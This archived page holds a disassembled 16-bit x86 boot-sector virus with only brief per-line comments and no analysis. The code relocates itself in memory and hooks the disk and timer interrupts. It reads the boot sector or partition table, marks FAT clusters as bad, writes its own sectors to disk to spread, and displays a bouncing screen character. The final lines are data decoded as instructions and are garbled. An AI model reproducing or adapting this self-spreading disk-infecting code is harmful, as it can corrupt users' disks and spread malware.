home *** CD-ROM | disk | FTP | other *** search
- jmp short loc_3
- nop
- dec cx
- inc dx
- dec bp
- and [bx+si],ah
- xor bp,data_10
- add al,[si]
- data_14 dw 1
- add al,[bx+si]
- add bh,[bp+di]
- mov data_12,al
- add [bx+di],dl
- add [si],al
- add [bx+di],dl
- add [bp+di],dh
- loc_3:
- xor ax,ax
- mov ss,ax
- mov sp,7C00h
- mov ds,ax
- mov ax,data_5
- sub ax,2
- mov data_5,ax
- mov cl,6
- shl ax,cl ; Shift w/zeros fill
- sub ax,7C0h
- mov es,ax
- mov si,7C00h
- mov di,si
- mov cx,100h
- rep movsw ; Rep while cx>0 Mov [si] to es:[di]
- db 8Eh
- db 0C8h
- push cs
- pop ds
- call sub_1
-
- ;==========================================================================
- ; SUBROUTINE
- ;==========================================================================
-
- sub_1 proc near
- xor ah,ah ; Zero register
- int 13h ; Disk dl=drive b: ah=func 00h
- ; reset disk, al=return status
- and data_24,80h
- mov bx,data_25
- push cs
- pop ax
- sub ax,20h
- mov es,ax
- call sub_3
- mov bx,data_25
- inc bx
- mov ax,0FFC0h
- mov es,ax
- call sub_3
- xor ax,ax ; Zero register
- mov data_23,al
- mov ds,ax
- mov ax,data_3
- mov bx,data_4
- mov data_3,7CD0h
- mov data_4,cs
- push cs
- pop ds
- mov data_19,ax
- mov data_20,bx
- mov dl,data_24
- jmp far ptr loc_2
- sub_1 endp
-
-
- ;==========================================================================
- ; SUBROUTINE
- ;==========================================================================
-
- sub_2 proc near
- mov ax,301h
- jmp short loc_4
-
- ;==== External Entry into Subroutine ======================================
-
- sub_3:
- mov ax,201h
- loc_4:
- xchg ax,bx
- add ax,data_18
- xor dx,dx ; Zero register
- div data_16 ; ax,dxrem=dx:ax/data
- inc dl
- mov ch,dl
- xor dx,dx ; Zero register
- div data_17 ; ax,dxrem=dx:ax/data
- mov cl,6
- shl ah,cl ; Shift w/zeros fill
- or ah,ch
- mov cx,ax
- xchg ch,cl
- mov dh,dl
- mov ax,bx
-
- ;==== External Entry into Subroutine ======================================
-
- sub_4:
- mov dl,data_24
- mov bx,8000h
- int 13h ; Disk dl=drive b: ah=func 02h
- ; read sectors to memory es:bx
- jnc loc_ret_5 ; Jump if carry=0
- pop ax
-
- loc_ret_5:
- retn
- sub_2 endp
-
- push ds
- push es
- push ax
- push bx
- push cx
- push dx
- push cs
- pop ds
- push cs
- pop es
- test data_23,1
- jnz loc_8 ; Jump if not zero
- cmp ah,2
- jne loc_8 ; Jump if not equal
- cmp data_24,dl
- mov data_24,dl
- jnz loc_7 ; Jump if not zero
- xor ah,ah ; Zero register
- int 1Ah ; Real time clock ah=func 00h
- ; get system timer count cx,dx
- test dh,7Fh
- jnz loc_6 ; Jump if not zero
- test dl,0F0h
- jnz loc_6 ; Jump if not zero
- push dx
- call sub_6
- pop dx
- loc_6:
- mov cx,dx
- sub dx,data_26
- mov data_26,cx
- sub dx,24h
- jc loc_8 ; Jump if carry Set
- loc_7:
- or data_23,1
- push si
- push di
- call sub_5
- pop di
- pop si
- and data_23,0FEh
- loc_8:
- pop dx
- pop cx
- pop bx
- pop ax
- pop es
- pop ds
- jmp far ptr loc_38
-
- ;==========================================================================
- ; SUBROUTINE
- ;==========================================================================
-
- sub_5 proc near
- mov ax,201h
- mov dh,0
- mov cx,1
- call sub_4
- test data_24,80h
- jz loc_11 ; Jump if zero
- mov si,81BEh
- mov cx,4
-
- locloop_9:
- cmp data_8[si],1
- je loc_10 ; Jump if equal
- cmp data_8[si],4
- je loc_10 ; Jump if equal
- add si,10h
- loop locloop_9 ; Loop if cx > 0
-
- retn
- loc_10:
- mov dx,[si]
- mov cx,data_7[si]
- mov ax,201h
- call sub_4
- loc_11:
- mov si,8002h
- mov di,7C02h
- mov cx,1Ch
- rep movsb ; Rep while cx>0 Mov [si] to es:[di]
- cmp data_46,1357h
- jne loc_13 ; Jump if not equal
- cmp data_45,0
- jae loc_ret_12 ; Jump if above or =
- mov ax,data_43
- mov data_22,ax
- mov si,data_44
- jmp loc_23
-
- loc_ret_12:
- retn
- loc_13:
- cmp data_37,200h
- jne loc_ret_12 ; Jump if not equal
- cmp data_38,2
- jb loc_ret_12 ; Jump if below
- mov cx,data_39
- mov al,data_40
- cbw ; Convrt byte to word
- mul data_42 ; ax = data * ax
- add cx,ax
- mov ax,20h
- mul data_41 ; ax = data * ax
- add ax,1FFh
- mov bx,200h
- div bx ; ax,dx rem=dx:ax/reg
- add cx,ax
- mov data_22,cx
- mov ax,data_15
- sub ax,data_22
- mov bl,data_13
- xor dx,dx ; Zero register
- xor bh,bh ; Zero register
- div bx ; ax,dx rem=dx:ax/reg
- inc ax
- mov di,ax
- and data_23,0FBh
- cmp ax,0FF0h
- jbe loc_14 ; Jump if below or =
- or data_23,4
- loc_14:
- mov si,1
- mov bx,data_14
- dec bx
- mov data_21,bx
- mov data_27,0FEh
- jmp short loc_15
- data_21 dw 1Ah
- data_22 dw 73h
- data_23 db 4
- data_24 db 81h
- data_25 dw 654Bh
- add data_9[bx],dl
- push bp
- stosb ; Store al to es:[di]
- loc_15:
- inc data_21
- mov bx,data_21
- add data_27,2
- call sub_3
- jmp short loc_20
- loc_16:
- mov ax,3
- test data_23,4
- jz loc_17 ; Jump if zero
- inc ax
- loc_17:
- mul si ; dx:ax = reg * ax
- shr ax,1 ; Shift w/zeros fill
- sub ah,data_27
- mov bx,ax
- cmp bx,1FFh
- jae loc_15 ; Jump if above or =
- mov dx,data_36[bx]
- test data_23,4
- jnz loc_19 ; Jump if not zero
- mov cl,4
- test si,1
- jz loc_18 ; Jump if zero
- shr dx,cl ; Shift w/zeros fill
- loc_18:
- and dh,0Fh
- loc_19:
- test dx,0FFFFh
- jz loc_21 ; Jump if zero
- loc_20:
- inc si
- cmp si,di
- jbe loc_16 ; Jump if below or =
- retn
- loc_21:
- mov dx,0FFF7h
- test data_23,4
- jnz loc_22 ; Jump if not zero
- and dh,0Fh
- mov cl,4
- test si,1
- jz loc_22 ; Jump if zero
- shl dx,cl ; Shift w/zeros fill
- loc_22:
- or data_36[bx],dx
- mov bx,data_21
- call sub_2
- mov ax,si
- sub ax,2
- mov bl,data_13
- xor bh,bh ; Zero register
- mul bx ; dx:ax = reg * ax
- add ax,data_22
- mov si,ax
- mov bx,0
- call sub_3
- mov bx,si
- inc bx
- call sub_2
- loc_23:
- mov bx,si
- mov data_25,si
- push cs
- pop ax
- sub ax,20h
- mov es,ax
- call sub_2
- push cs
- pop ax
- sub ax,40h
- mov es,ax
- mov bx,0
- call sub_2
- retn
- sub_5 endp
-
- data_26 dw 246Eh
- data_27 db 32h
-
- ;==========================================================================
- ; SUBROUTINE
- ;==========================================================================
-
- sub_6 proc near
- test data_23,2
- jnz loc_ret_24 ; Jump if not zero
- or data_23,2
- mov ax,0
- mov ds,ax
- mov ax,data_1
- mov bx,data_2
- mov data_1,7EDFh
- mov data_2,cs
- push cs
- pop ds
- mov data_28,ax
- mov data_29,bx
-
- loc_ret_24:
- retn
- sub_6 endp
-
- push ds
- push ax
- push bx
- push cx
- push dx
- push cs
- pop ds
- mov ah,0Fh
- int 10h ; Video display ah=functn 0Fh
- ; get state, al=mode, bh=page
- mov bl,al
- cmp bx,data_34
- je loc_27 ; Jump if equal
- mov data_34,bx
- dec ah
- mov data_35,ah
- mov ah,1
- cmp bl,7
- jne loc_25 ; Jump if not equal
- dec ah
- loc_25:
- cmp bl,4
- jae loc_26 ; Jump if above or =
- dec ah
- loc_26:
- mov data_33,ah
- mov data_31,101h
- mov data_32,101h
- mov ah,3
- int 10h ; Video display ah=functn 03h
- ; get cursor loc in dx, mode cx
- push dx
- mov dx,data_31
- jmp short loc_29
- loc_27:
- mov ah,3
- int 10h ; Video display ah=functn 03h
- ; get cursor loc in dx, mode cx
- push dx
- mov ah,2
- mov dx,data_31
- int 10h ; Video display ah=functn 02h
- ; set cursor location in dx
- mov ax,data_30
- cmp data_33,1
- jne loc_28 ; Jump if not equal
- mov ax,8307h
- loc_28:
- mov bl,ah
- mov cx,1
- mov ah,9
- int 10h ; Video display ah=functn 09h
- ; set char al & attrib ah @curs
- loc_29:
- mov cx,data_32
- cmp dh,0
- jne loc_30 ; Jump if not equal
- xor ch,0FFh
- inc ch
- loc_30:
- cmp dh,18h
- jne loc_31 ; Jump if not equal
- xor ch,0FFh
- inc ch
- loc_31:
- cmp dl,0
- jne loc_32 ; Jump if not equal
- xor cl,0FFh
- inc cl
- loc_32:
- cmp dl,data_35
- jne loc_33 ; Jump if not equal
- xor cl,0FFh
- inc cl
- loc_33:
- cmp cx,data_32
- jne loc_35 ; Jump if not equal
- mov ax,data_30
- and al,7
- cmp al,3
- jne loc_34 ; Jump if not equal
- xor ch,0FFh
- inc ch
- loc_34:
- cmp al,5
- jne loc_35 ; Jump if not equal
- xor cl,0FFh
- inc cl
- loc_35:
- add dl,cl
- add dh,ch
- mov data_32,cx
- mov data_31,dx
- mov ah,2
- int 10h ; Video display ah=functn 02h
- ; set cursor location in dx
- mov ah,8
- int 10h ; Video display ah=functn 08h
- ; get char al & attrib ah @curs
- mov data_30,ax
- mov bl,ah
- cmp data_33,1
- jne loc_36 ; Jump if not equal
- mov bl,83h
- loc_36:
- mov cx,1
- mov ax,907h
- int 10h ; Video display ah=functn 09h
- ; set char al & attrib ah @curs
- pop dx
- mov ah,2
- int 10h ; Video display ah=functn 02h
- ; set cursor location in dx
- pop dx
- pop cx
- pop bx
- pop ax
- pop ds
- jmp far ptr loc_1
- data_30 dw 0
- data_31 dw 101h
- data_32 dw 101h
- data_33 db 0
- data_34 dw 0FFFFh
- data_35 db 50h
- mov bh,0B7h
- mov bh,0B6h
- inc ax
- inc ax
- mov dh,bl
- out 5Ah,al ; port 5Ah
- lodsb ; String [si] to al
- shl ah,cl ; Shift w/zeros fill
- jmp far ptr loc_39
- inc ax
- db 64h
- pop sp
- db 60h
- push dx
- inc ax
- inc ax
- inc ax
- inc ax
- db 64h
- db 62h
- pop si
- db 62h
- db 60h
- pop si
- jo loc_37 ; Jump if overflow=1
- inc ax
- inc cx
- mov bh,0B7h
- mov bh,0B6h
-